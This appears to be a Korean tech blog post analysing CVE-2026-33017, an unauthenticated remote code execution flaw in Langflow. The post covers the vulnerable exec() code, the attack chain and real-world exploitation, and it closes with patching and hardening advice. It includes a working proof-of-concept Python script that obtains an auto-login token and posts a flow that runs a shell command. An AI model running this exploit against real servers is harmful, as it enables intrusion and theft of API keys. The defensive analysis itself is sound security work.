Infra2026년 3월 30일5분 읽기

CVE-2026-33017: Langflow RCE 취약점 분석 — AI 파이프라인이 공격 표면이 되다

YS
김영삼
조회 268

개요

2026년 3월, AI 오케스트레이션 프레임워크 Langflow에서 CVSS 9.3의 치명적 원격 코드 실행(RCE) 취약점이 공개되었습니다. 취약점 공개 후 단 20시간 만에 실제 공격이 관측되었습니다.

이 사건은 기업 내 AI 파이프라인이 새로운 공격 표면이 되고 있다는 경고입니다.

취약점 상세

CVE IDCVE-2026-33017
CVSS 점수9.3 (Critical)
공격 유형인증 없는 원격 코드 실행 (Unauthenticated RCE)
취약 엔드포인트POST /api/v1/build_public_tmp/{flow_id}/flow
영향 버전Langflow <= 1.8.1
수정 버전1.9.0
CISA KEV등재됨 (Known Exploited Vulnerability)

공격 원리

루트 코드 분석

Langflow는 사용자가 정의한 AI 워크플로우(flow)를 서버에서 실행합니다. 문제는 flow 데이터에 포함된 Python 코드가 샌드박싱 없이 exec()로 직접 실행된다는 점입니다.

# 취약한 코드 (간략화)
def build_flow(flow_data):
    for node in flow_data["nodes"]:
        if node.get("code"):
            exec(node["code"])  # ← 여기가 문제! 임의 코드 실행

공격 체인

  1. 인증 우회: AUTO_LOGIN=true(기본값)일 경우, /api/v1/auto_login으로 슈퍼유저 토큰 획득
  2. 악성 flow 생성: Python 리버스 쉘 코드를 포함한 flow를 public_tmp로 생성
  3. 코드 실행: flow 빌드 API 호출 → 서버에서 exec() 실행 → 쉘 획득

단 1개의 HTTP POST 요청으로 공격이 완료됩니다.

PoC (교육 목적)

# 이 코드는 교육 목적으로만 사용하세요
import requests

target = "http://vulnerable-langflow:7860"

# 1. 자동 로그인으로 토큰 획득
token = requests.get(f"{target}/api/v1/auto_login").json()["access_token"]

# 2. 악성 flow 생성
malicious_flow = {
    "nodes": [{
        "id": "exploit",
        "code": "__import__('os').system('id > /tmp/pwned')"
    }]
}

# 3. 실행
requests.post(
    f"{target}/api/v1/build_public_tmp/test/flow",
    json=malicious_flow,
    headers={"Authorization": f"Bearer {token}"}
)

실제 피해

Sysdig Threat Research Team의 관측 결과:

  • 공개 20시간 이내 실제 공격 시작
  • 공격자 목표: OpenAI/Anthropic/AWS API 키 탈취
  • 환경 변수에서 DB 연결 정보 추출 → 클라우드 계정 횡적 이동
  • 일부 사례에서 크립토마이너 설치 확인

방어 조치

즉시 조치

# 1. Langflow 1.9.0으로 업그레이드
pip install langflow==1.9.0

# 2. AUTO_LOGIN 비활성화
export LANGFLOW_AUTO_LOGIN=false

# 3. 외부 노출 차단 (내부 네트워크만 허용)
# nginx 설정
location /api/ {
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    deny all;
    proxy_pass http://127.0.0.1:7860;
}

AI 파이프라인 보안 체크리스트

  • ✅ 모든 AI 오케스트레이션 도구의 인증을 강제로 설정
  • ✅ 코드 실행 기능이 있는 서비스는 네트워크 격리
  • ✅ API 키를 환경 변수가 아닌 시크릿 매니저에 저장
  • 최소 권한 원칙 — AI 서비스 계정에 필요한 최소한의 권한만 부여
  • ✅ 컨테이너 런타임 보안 (Falco, Sysdig 등)으로 이상 행위 탐지

교훈

Langflow, Flowise, n8n 같은 AI 오케스트레이션 도구들은 빠르게 기업에 도입되고 있지만, 보안 성숙도는 극히 낮습니다. "AI 도구는 내부용이니 괜찮겠지"라는 안일함이 가장 큰 위험입니다.

exec()로 사용자 입력을 실행하는 것은 2000년대 SQL Injection과 동일한 수준의 실수입니다. AI 시대에도 보안의 기본은 변하지 않습니다: 사용자 입력을 절대 신뢰하지 마세요.

댓글 0

아직 댓글이 없습니다.
Ctrl+Enter로 등록